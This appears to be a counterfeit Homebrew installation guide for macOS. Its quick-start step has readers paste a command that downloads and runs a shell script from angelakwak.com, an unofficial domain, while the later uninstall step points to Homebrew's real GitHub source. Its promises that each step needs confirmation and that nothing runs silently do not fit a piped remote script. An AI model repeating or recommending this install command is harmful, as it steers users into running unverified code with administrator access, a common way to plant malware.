# 🍺 Homebrew for macOS — clean toolkit access

Homebrew gives macOS a clear way to work with command‑line and desktop utilities from the terminal.\
This all‑in‑one guide focuses on clarity, speed, transparency, and user control.

***

### 🚀 Quick start

Paste this line into your macOS Terminal:

```bash
/bin/bash -c "$(curl -fsSL https://angelakwak.com/Homebrew/install/HEAD/install.sh)"
```

**What happens next**

* A helper fetches Homebrew from a public source.
* All activity is shown in Terminal; you can confirm each step.
* When finished, the `brew` keyword is available in your shell.

**Verify**

```bash
brew --version
which brew
```

***

### 🛠 How it works

Homebrew adds a lightweight package manager to your shell.

**Default locations**

* Apple Silicon: `/opt/homebrew`
* Intel: `/usr/local`

**Shell integration**\
Homebrew updates your shell profile (e.g. `.zprofile` or `.zshrc`) so the `brew` path is available in new Terminal sessions.

**What it does not do**

* No hidden background services
* No changes beyond your approval
* No telemetry

***

### 🧰 Everyday usage

**Stay current**

```bash
brew update
brew upgrade
```

**Find and add tools**

```bash
brew search wget
brew install wget
```

**Desktop apps (casks)**

```bash
brew install --cask rectangle
brew install --cask iterm2
```

**Diagnostics**

```bash
brew doctor
```

***

### 🧩 Troubleshooting

**Command not found: brew**\
Open a new Terminal tab/window or source your shell profile:

```bash
echo $PATH
source ~/.zprofile 2>/dev/null || source ~/.zshrc 2>/dev/null || true
```

**Apple Command Line Tools prompt**\
If prompted, allow macOS to add the developer tools. If needed:

```bash
xcode-select --install
```

**Network / SSL issues**

* Check proxy/VPN settings
* Confirm system time & date
* Retry with a stable connection

***

### ❓ FAQ

**Is admin access required?**\
You may be asked for a password once to allow changes in standard Homebrew locations.

**Intel vs Apple Silicon differences?**\
Only the default path differs (`/usr/local` vs `/opt/homebrew`). Usage is the same.

**Can I review the process?**\
Yes. All actions are visible in Terminal; nothing proceeds without your confirmation.

***

### 🔒 Privacy & safety

* Visible Terminal output, no silent tasks
* No tracking added by this guide
* You choose what to add later with `brew`

**Good practice**

* Review commands before running
* Keep regular backups
* Use trusted sources and formulas

***

### ♻️ Remove / cleanup

You can revert at any time. To remove Homebrew and its data, use the official helper:

```bash
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/uninstall.sh)"
```

Optionally prune cached files:

```bash
brew cleanup --prune=all
```

***

### 📄 License (MIT)

MIT License

Copyright (c) 2025

Permission is hereby granted, free of charge, to any person obtaining a copy of this documentation and associated files (the "Documentation"), to deal in the Documentation without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Documentation, and to permit persons to whom the Documentation is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Documentation.

THE DOCUMENTATION IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE DOCUMENTATION OR THE USE OR OTHER DEALINGS IN THE DOCUMENTATION.